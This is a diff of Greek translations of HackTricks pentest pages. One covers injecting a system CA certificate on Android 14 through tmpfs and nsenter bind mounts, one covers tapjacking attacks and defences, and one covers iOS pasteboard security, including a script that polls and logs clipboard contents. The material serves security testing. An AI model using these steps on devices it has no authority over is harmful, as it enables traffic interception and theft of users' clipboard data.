@ -136,11 +141,12 @@ echo "System certificate injected"
```
### Δέσμευση μέσω NSEnter
1. **Δημιουργία ενός εγγράψιμου καταλόγου**: Αρχικά, δημιουργείται ένας εγγράψιμος κατάλογος με τη δέσμευση ενός `tmpfs` πάνω στον υπάρχοντα μη-κατάλογο πιστοποιητικών συστήματος APEX. Αυτό επιτυγχάνεται με την ακόλουθη εντολή:
1. **Δημιουργία Εγγράψιμου Καταλόγου**: Αρχικά, δημιουργείται ένας εγγράψιμος κατάλογος με τη δέσμευση ενός `tmpfs` πάνω στον υπάρχοντα μη-κατάλογο πιστοποιητικών συστήματος non-APEX. Αυτό επιτυγχάνεται με την ακόλουθη εντολή:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **Προετοιμασία Πιστοποιητικών CA**: Ακολουθώντας τη ρύθμιση του εγγρά
2. **Προετοιμασία Πιστοποιητικών CA**: Ακολουθώντας τη διαδικασία εγκατάστασης του εγγράψιμου καταλόγου, τα πιστοποιητικά CA που προτίθεται κάποιος να χρησιμοποιήσει πρέπει να αντιγραφούν σε αυτόν τον κατάλογο. Αυτό μπορεί να περιλαμβάνει την αντιγραφή των προεπιλεγμένων πιστοποιητικών από `/apex/com.android.conscrypt/cacerts/`. Είναι ουσιώδες να προσαρμοστούν αναλόγως οι άδειες και οι ετικέτες SELinux αυτών των πιστοποιητικών.
3. **Δέσμευση Προσάρτησης για το Zygote**: Χρησιμοποιώντας το `nsenter`, μπαίνει κανείς στο χώρο προσάρτησης του Zygote. Ο Zygote, ως η διαδικασία υπεύθυνη για την εκκίνηση των εφαρμογών Android, απαιτεί αυτό το βήμα για να διασφαλίσει ότι όλες οι εφαρμογές που εκκινούνται εν συνεχεία χρησιμοποιούν τα νεότερα διαμορφωμένα πιστοποιητικά CA. Η εντολή που χρησιμοποιείται είναι:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
@ -150,8 +156,26 @@ nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/securi
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **Εναλλακτική Προσέγγιση - Μαλακή Επανεκκίνηση**: Μια εναλλακτική μέθοδος περιλαμβάνει την εκτέλεση του bind mount στη διαδικασία `init` (PID 1), ακολουθούμενη από μια μαλακή επανεκκίνηση του λειτουργικού συστήματος με τις εντολές `stop && start`. Αυτή η προσέγγιση θα μεταδώσει τις αλλαγές σε όλους τους χώρους ονομάτων, αποφεύγοντας την ανάγκη να αντιμετωπιστεί κάθε τρέχουσα εφαρμογή ξεχωριστά. Ωστόσο, αυτή η μέθοδος συνήθως προτιμάται λιγότερο λόγω της ενόχλησης της επανεκκίνησης.
5. **Εναλλακτική Προσέγγιση - Μαλακή Επανεκκίνηση**: Μια εναλλακτική μέθοδος περιλαμβάνει την εκτέλεση του bind mount στη διαδικασία `init` (PID 1), ακολουθούμενη από μια μαλακή επανεκκίνηση του λειτουργικού συστήματος με τις εντολές `stop && start`. Αυτή η προσέγγιση θα μεταδώσει τις αλλαγές σε όλους τους namespaces, αποφεύγοντας την ανάγκη να αντιμετωπιστεί καθένα από τα εκτελούμενα apps ξεχωριστά. Ωστόσο, αυτή η μέθοδος συνήθως προτιμάται λιγότερο λόγω της ενόχλησης της επανεκκίνησης.
## Αναφορές
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -2,41 +2,46 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **Βασικές Πληροφορίες**
Το **Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις εμφανίζει την εφαρμογή θύμα, η διεπαφή χρήστη της είναι σχεδιασμένη έτσι ώστε να εξαπατά τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ παράλληλα μεταφέρει την αλληλεπίδραση στην εφαρμογή θύμα.\
Στην πραγματικότητα, **τυφλώνει τον χρήστη ώστε να μην γνωρίζει ότι πραγματοποιεί πράξεις στην εφαρμογή θύμα**.
**Το Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη εφαρμογή** εκκινείται και **τοποθετείται επάνω σε μια εφαρμογή θύμα**. Μόλις αποκρύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της σχεδιάζεται με τέτοιο τρόπο ώστε να εξαπατήσει τον χρήστη να αλληλεπιδρά μαζί της, ενώ μεταφέρει την αλληλεπίδραση στην εφαρμογή θύμα.\
Ουσιαστικά, **τυφλώνει τον χρήστη από το να γνωρίζει ότι πραγματοποιεί πράξεις στην εφαρμογή θύμα**.
### Εντοπισμός
### Ανίχνευση
Για να εντοπίσετε εφαρμογές ευάλωτες σε αυτήν την επίθεση, πρέπει να αναζητήσετε **εξαγόμενες δραστηριότητες** στο αρχείο android manifest (σημειώστε ότι μια δραστηριότητα με ένα intent-filter εξάγεται αυτόματα από προεπιλογή). Αφού βρείτε τις εξαγόμενες δραστηριότητες, **ελέγξτε αν απαιτούν οποιαδήποτε άδεια**. Αυτό συμβαίνει επειδή η **κακόβουλη εφαρμογή θα χρειαστεί επίσης αυτήν την άδεια**.
Για να ανιχνεύσετε εφαρμογές ευάλωτες σε αυτήν την επίθεση, πρέπει να αναζητήσετε **εξαγόμενες δραστηριότητες** στο αρχείο android manifest (σημειώστε ότι μια δραστηριότητα με ένα intent-filter εξάγεται αυτόματα από προεπιλογή). Αφού βρείτε τις εξαγόμενες δραστηριότητες, **ελέγξτε αν απαιτούν κάποια άδεια**. Αυτό συμβαίνει επειδή η **κακόβουλη εφαρμογή θα χρειαστεί επίσης αυτήν την άδεια**.
### Προστασία
#### Android 12 (API 31,32) και νεότερες εκδόσεις
[**Σύμφωνα με αυτήν την πηγή**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** οι επιθέσεις tapjacking αποτρέπονται αυτόματα από το Android από την έκδοση Android 12 (API 31 & 30) και νεότερες. Έτσι, ακόμα κι αν η εφαρμογή είναι ευάλωτη, **δεν θα μπορέσετε να την εκμεταλλευτείτε**.
[**Σύμφωνα με αυτήν την πηγή**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** οι επιθέσεις tapjacking αποτρέπονται αυτόματα από το Android από το Android 12 (API 31 & 30) και νεότερες εκδόσεις. Έτσι, ακόμη κι αν η εφαρμογή είναι ευάλωτη, **δεν θα μπορέσετε να την εκμεταλλευτείτε**.
#### `filterTouchesWhenObscured`
Εάν η **`android:filterTouchesWhenObscured`** έχει την τιμή **`true`**, το `View` δεν θα λαμβάνει αγγίγματα όταν το παράθυρο της προβολής είναι καλυμμένο από ένα άλλο ορατό παράθυρο.
Εάν το **`android:filterTouchesWhenObscured`** έχει οριστεί σε **`true`**, το `View` δεν θα λαμβάνει αφήσεις όταν το παράθυρο της προβολής είναι αποκρυμμένο από ένα άλλο ορατό παράθυρο.
#### **`setFilterTouchesWhenObscured`**
Το χαρακτηριστικό **`setFilterTouchesWhenObscured`** που έχει την τιμή true μπορεί επίσης να αποτρέψει την εκμετάλλευση αυτής της ευπάθειας εάν η έκδοση του Android είναι παλαιότερη.\
Εάν έχει την τιμή **`true`**, για παράδειγμα, ένα κουμπί μπορεί να απενεργοποιηθεί αυτόματα **εάν είναι καλυμμένο**:
Η ιδιότητα **`setFilterTouchesWhenObscured`** ορισμένη σε true μπορεί επίσης να αποτρέψει την εκμετάλλευση αυτής της ευπάθειας εάν η έκδοση του Android είναι χαμηλότερη.\
Εάν οριστεί σε **`true`**, για παράδειγμα, ένα κουμπί μπορεί να απενεργοποιηθεί αυτόματα **αν είναι αποκρυμμένο**.
```xml
<Button android:text="Button"
android:id="@+id/button1"
@ -49,38 +54,28 @@ android:filterTouchesWhenObscured="true">
### Tapjacking-ExportedActivity
Η πιο πρόσφατη εφαρμογή Android που εκτελεί μια επίθεση Tapjacking (+ καλεί πριν από μια εξαγόμενη δραστηριότητα της επιτεθείσας εφαρμογής) μπορεί να βρεθεί στο: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
Η πιο **πρόσφατη εφαρμογή Android** που εκτελεί μια επίθεση Tapjacking (+ καλεί πριν από μια εξαγόμενη δραστηριότητα της επιτεθείσας εφαρμογής) μπορεί να βρεθεί στο: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
Ακολουθήστε τις οδηγίες του **README για να το χρησιμοποιήσετε**.
### FloatingWindowApp
Ένα παράδειγμα έργου που υλοποιεί το **FloatingWindowApp**, το οποίο μπορεί να χρησιμοποιηθεί για να τοποθετηθεί πάνω από άλλες δραστηριότητες για να εκτελεστεί μια επίθεση clickjacking, μπορεί να βρεθεί στο [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (λίγο παλιό, καλή τύχη στην κατασκευή του apk).
Ένα παράδειγμα έργου που υλοποιεί το **FloatingWindowApp**, το οποίο μπορεί να χρησιμοποιηθεί για να τοποθετηθεί πάνω από άλλες δραστηριότητες για να εκτελέσει μια επίθεση clickjacking, μπορεί να βρεθεί στο [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (λίγο παλιό, καλή τύχη στην δημιουργία του apk).
### Qark
{% hint style="danger" %}
Φαίνεται ότι αυτό το έργο δεν υποστηρίζεται πλέον και αυτή η λειτουργία δεν λειτουργεί σωστά πλέον
Φαίνεται ότι αυτό το έργο δεν υποστηρίζεται πλέον και αυτή η λειτουργικότητα δεν λειτουργεί σωστά πλέον
{% endhint %}
Μπορείτε να χρησιμοποιήσετε το [**qark**](https://github.com/linkedin/qark) με τις παραμέτρους `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` για να δημιουργήσετε μια κακόβουλη εφαρμογή για να ελέγξετε τυχόν ευπάθειες **Tapjacking**.\
Μπορείτε να χρησιμοποιήσετε το [**qark**](https://github.com/linkedin/qark) με τις παραμέτρους `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` για να δημιουργήσετε μια κακόβουλη εφαρμογή για να ελέγξετε πιθανές ευπάθειες **Tapjacking**.\
Η αντιμετώπιση είναι σχετικά απλή, καθώς ο προγραμματιστής μπορεί να επιλέξει να μην λαμβάνει αφήσεις όταν ένα προβολή καλύπτεται από μια άλλη. Χρησιμοποιώντας το [Android Developers Reference](https://developer.android.com/reference/android/view/View#security):
Η αντιμετώπιση είναι σχετικά απλή καθώς ο προγραμματιστής μπορεί να επιλέξει να μην λαμβάνει αφήσεις όταν ένα προβολή καλύπτεται από άλλη. Χρησιμοποιώντας το [Android Developers Reference](https://developer.android.com/reference/android/view/View#security):
> Μερικές φορές είναι απαραίτητο να επιβεβαιώσει μια εφαρμογή ότι μια ενέργεια πραγματοποιείται με την πλήρη γνώση και συναίνεση του χρήστη, όπως η χορήγηση μιας άδειας, η πραγματοποίηση μιας αγοράς ή η κλικ σε μια διαφήμιση. Δυστυχώς, μια κακόβουλη εφαρμογή μπορεί να προσπαθήσει να παραπλανήσει τον χρήστη να πραγματοποιήσει αυτές τις ενέργειες, χωρίς να το γνωρίζει, κρύβοντας το πραγματικό σκοπό της προβολής. Ως αντιμετώπιση, το πλαίσιο προσφέρει έναν μηχανισμό φιλτραρίσματος αφήσεων που μπορεί να χρησιμοποιηθεί για τη βελτίωση της ασφάλειας των προβολών που παρέχουν πρόσβαση σε ευαίσθητες λειτουργίες.
> Μερικές φορές είναι απαραίτητο να μπορεί μια εφαρμογή να επιβεβαιώσει ότι μια ενέργεια πραγματοποιείται με την πλήρη γνώση και συγκατάθεση του χρήστη, όπως η χορήγηση μιας άδειας, η πραγματοποίηση μιας αγοράς ή η κλικ σε μια διαφήμιση. Δυστυχώς, μια κακόβουλη εφαρμογή θα μπορούσε να προσπαθήσει να απομυθοποιήσει τον χρήστη να πραγματοποιήσει αυτές τις ενέργειες, χωρίς να το γνωρίζει, κρύβοντας το πραγματικό σκοπό της προβολής. Ως αντίδραση, το πλαίσιο προσφέρει ένα μηχανισμό φιλτραρίσματος αφήσεων που μπορεί να χρησιμοποιηθεί για να βελτιώσει την ασφάλεια των προβολών που παρέχουν πρόσβαση σε ευαίσθητες λειτουργίες.
>
> Για να ενεργοποιήσετε το φιλτράρισμα αφήσεων, καλέστε την [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ή ορίστε το χαρακτηριστικό διάταξης android:filterTouchesWhenObscured σε true. Όταν είναι ενεργοποιημένο, το πλαίσιο θα απορρίπτει τις αφήσεις που λαμβάνονται όποτε το παράθυρο της προβολής καλύπτεται από ένα άλλο ορατό παράθυρο. Ως αποτέλεσμα, η προβολή δεν θα λαμβάνει αφήσεις όποτε εμφανίζεται ένα toast, ένα παράθυρο διαλόγου ή άλλο παράθυρο πάνω από το παράθυρο της προβολής.
> Για να ενεργοποιήσετε το φιλτράρισμα αφήσεων, καλέστε τη μέθοδο [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ή ορίστε το χαρακτηριστικό διάταξης android:filterTouchesWhenObscured σε true. Όταν είναι ενεργοποιημένο, το πλαίσιο θα απορρίπτει τις αφήσεις που λαμβάνονται όποτε το παράθυρο της προβολής καλύπτεται από ένα άλλο ορατό παράθυρο. Ως αποτέλεσμα, η προβολή δεν θα λαμβάνει αφήσεις όταν εμφανίζεται ένα toast, ένα παράθυρο διαλόγου ή άλλο παράθυρο πάνω από το παράθυρο της προβολής.
<details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
{% embed url="https://websec.nl/" %}

View file

@ -1,44 +1,56 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
Η κοινή χρήση δεδομένων εντός και ανάμεσα σε εφαρμογές συσκευών iOS διευκολύνεται από τον μηχανισμό [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), ο οποίος διαιρείται σε δύο κύριες κατηγορίες:
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
- **Γενική πρόχειρη μνήμη συστήματος**: Χρησιμοποιείται για την κοινή χρήση δεδομένων με **οποιαδήποτε εφαρμογή** και έχει σχεδιαστεί για να διατηρεί τα δεδομένα ακόμη και μετά από επανεκκίνηση της συσκευής ή απεγκατάσταση της εφαρμογής, μια δυνατότητα που είναι διαθέσιμη από το iOS 10.
- **Προσαρμοσμένες / Ονομασμένες πρόχειρες μνήμες**: Αυτές χρησιμοποιούνται ειδικά για την κοινή χρήση δεδομένων **εντός μιας εφαρμογής ή με μια άλλη εφαρμογή** που έχει το ίδιο αναγνωριστικό ομάδας, και δεν έχουν σχεδιαστεί για να διατηρούνται πέρα ​​από τη διάρκεια ζωής της διεργασίας της εφαρμογής που τις δημιουργεί, ακολουθώντας τις αλλαγές που εισήχθησαν από το iOS 10.
{% embed url="https://websec.nl/" %}
Οι **προσεκτικές σκέψεις ασφαλείας** παίζουν σημαντικό ρόλο κατά τη χρήση των προχείρων μνήμης. Για παράδειγμα:
- Δεν υπάρχει μηχανισμός για τους χρήστες να διαχειρίζονται τις άδειες των εφαρμογών για πρόσβαση στη **πρόχειρη μνήμη**.
- Για να μειωθεί ο κίνδυνος μη εξουσιοδοτημένης παρακολούθησης της πρόχειρης μνήμης στο παρασκήνιο, η πρόσβαση περιορίζεται όταν η εφαρμογή βρίσκεται στο προσκήνιο (από το iOS 9 και μετά).
- Η χρήση μόνιμων ονομασμένων προχείρων μνήμης αποτρέπεται υπέρ των κοινόχρηστων διαμερισμάτων λόγω προβλημάτων απορρήτου.
- Η δυνατότητα **Κοινής Πρόχειρης Προσωπικού Υπολογιστή** που εισήχθη με το iOS 10, επιτρέπει την κοινή χρήση περιεχομένου σε διάφορες συσκευές μέσω της γενικής πρόχειρης μνήμης, μπορεί να διαχειριστεί από τους προγραμματιστές για τον καθορισμό της λήξης των δεδομένων και την απενεργοποίηση της αυτόματης μεταφοράς περιεχομένου.
Είναι κρίσιμο να διασφαλιστεί ότι **ευαίσθητες πληροφορίες δεν αποθηκεύονται κατά λάθος** στην παγκόσμια πρόχειρη μνήμη. Επιπλέον, οι εφαρμογές πρέπει να σχεδιαστούν έτσι ώστε να αποτρέπεται η κατάχρηση των δεδομένων της παγκόσμιας πρόχειρης μνήμης για μη επιθυμητές ενέργειες, και ενθαρρύνεται οι προγραμματιστές να υλοποιήσουν μέτρα για την αποτροπή αντιγραφής ευαίσθητων πληροφοριών στο πρόχειρο.
Η κοινοποίηση δεδομένων εντός και ανάμεσα σε εφαρμογές σε συσκευές iOS διευκολύνεται από τον μηχανισμό [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), ο οποίος διαιρείται σε δύο κύριες κατηγορίες:
- **Γενικός πίνακας αντιγραφής σε επίπεδο συστήματος**: Χρησιμοποιείται για την κοινοποίηση δεδομένων με **οποιαδήποτε εφαρμογή** και σχεδιάστηκε για να διατηρεί δεδομένα μεταξύ επανεκκινήσεων συσκευής και απεγκαταστάσεων εφαρμογών, μια λειτουργία που είναι διαθέσιμη από το iOS 10.
- **Προσαρμοσμένοι / Ονομασμένοι πίνακες αντιγραφής**: Αυτοί είναι ειδικά για την κοινοποίηση δεδομένων **εντός μιας εφαρμογής ή με μια άλλη εφαρμογή** που μοιράζεται τον ίδιο αναγνωριστικό ομάδας και δεν σχεδιάστηκαν να διατηρούνται πέρα ​​από τη διάρκεια ζωής της διαδικασίας εφαρμογής που τις δημιουργεί, ακολουθώντας τις αλλαγές που εισήχθησαν στο iOS 10.
Οι **σκέψεις ασφαλείας** παίζουν σημαντικό ρόλο κατά τη χρήση των πινάκων αντιγραφής. Για παράδειγμα:
- Δεν υπάρχει μηχανισμός για τους χρήστες να διαχειρίζονται τις άδειες των εφαρμογών για πρόσβαση στον **πίνακα αντιγραφής**.
- Για να μειώσουν τον κίνδυνο μη εξουσιοδοτημένης παρακολούθησης του πίνακα αντιγραφής, η πρόσβαση περιορίζεται όταν η εφαρμογή βρίσκεται στο προσκήνιο (από το iOS 9 και μετά).
- Η χρήση μόνιμων ονομασμένων πινάκων αντιγραφής αποτρέπεται υπέρ των κοινών δοχείων λόγω ανησυχιών απορρήτου.
- Η δυνατότητα **Κοινού Προσωπικού** που εισήχθηκε με το iOS 10, επιτρέποντας την κοινοποίηση περιεχομένου σε διαφορετικές συσκευές μέσω του γενικού πίνακα αντιγραφής, μπορεί να διαχειριστεί από τους προγραμματιστές για να ορίσουν τη λήξη των δεδομένων και να απενεργοποιήσουν την αυτόματη μεταφορά περιεχομένου.
Είναι ζωτικής σημασίας να διασφαλιστεί ότι τα **ευαίσθητα δεδομένα δεν αποθηκεύονται κατά λάθος** στον γενικό πίνακα αντιγραφής. Επιπλέον, οι εφαρμογές θα πρέπει να σχεδιαστούν έτσι ώστε να αποτρέπουν την κατάχρηση των δεδομένων του γενικού πίνακα αντιγραφής για μη επιθυμητες ενέργειες, και οι προγραμματιστές ενθαρρύνονται να υλοποιήσουν μέτρα για την αποτροπή της αντιγραφής ευαίσθητων πληροφοριών στο πρόχειρο.
### Στατική Ανάλυση
Για στατική ανάλυση, αναζητήστε τον πηγαίο κώδικα ή το δυαδικό για:
- `generalPasteboard` για τον εντοπισμό της χρήσης της **γενικής πρόχειρης μνήμης συστήματος**.
- `pasteboardWithName:create:` και `pasteboardWithUniqueName` για τη δημιουργία **προσαρμοσμένων προχείρων μνήμης**. Επαληθεύστε εάν είναι ενεργοποιημένη η διατήρηση, αν και αυτό έχει αποσυρθεί.
- `generalPasteboard` για την αναγνώριση της χρήσης του **γενικού πίνακα αντιγραφής σε επίπεδο συστήματος**.
- `pasteboardWithName:create:` και `pasteboardWithUniqueName` για τη δημιουργία **προσαρμοσμένων πινάκων αντιγραφής**. Επαληθεύστε αν η διατήρηση είναι ενεργοποιημένη, αν και αυτό έχει αποσυρθεί.
### Δυναμική Ανάλυση
Η δυναμική ανάλυση περιλαμβάνει τον άγκιστρο ή την παρακολούθηση συγκεκριμένων μεθόδων:
- Παρακολούθηση του `generalPasteboard` για τη χρήση σε επίπεδο συστήματος.
- Παρακολούθηση των `pasteboardWithName:create:` και `pasteboardWithUniqueName` για προσαρμοσμένες υλοποιήσεις.
- Παρακολούθηση των κλήσεων της αποσυρμένης μεθόδου `setPersistent:` για τον έλεγχο των ρυθμίσεων διατήρησης.
- Παρακολούθηση των κλήσεων μεθόδου `setPersistent:` που έχουν αποσυρθεί για έλεγχο των ρυθμίσεων διατήρησης.
Σημ
Βασικές λεπτομέρειες προς παρακολούθηση περιλαμβάνουν:
- **Ονόματα πινάκων αντιγραφής** και **περιεχόμενο** (για παράδειγμα, έλεγχος για συμβολοσειρές, διευθύνσεις URL, εικόνες).
- **Αριθμός στοιχείων** και **τύποι δεδομένων** που υπάρχουν, εκμεταλλευόμενοι ελέγχους τυπικών και προσαρμοσμένων τύπων δεδομένων.
- **Επιλογές λήξης και τοπικής μόνο** με την επιθεώρηση της μεθόδου `setItems:options:`.
Ένα παράδειγμα χρήσης εργαλείου παρακολούθησης πινάκων αντιγραφής είναι το **objection's pasteboard monitor**, το οποίο ελέγχει τον generalPasteboard κάθε 5 δευτερόλεπτα για αλλαγές και εξάγει τα νέα δεδομένα.
Εδώ υπάρχει ένα απλό παράδειγμα σεναρίου JavaScript, εμπνευσμένο από τη μέθοδο του objection, για την ανάγνωση και καταγραφή των αλλαγών από τον πίνακα αντιγραφής κάθε 5 δευτερόλεπτα:
```javascript
const UIPasteboard = ObjC.classes.UIPasteboard;
const Pasteboard = UIPasteboard.generalPasteboard();
@ -68,16 +80,21 @@ console.log(items);
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
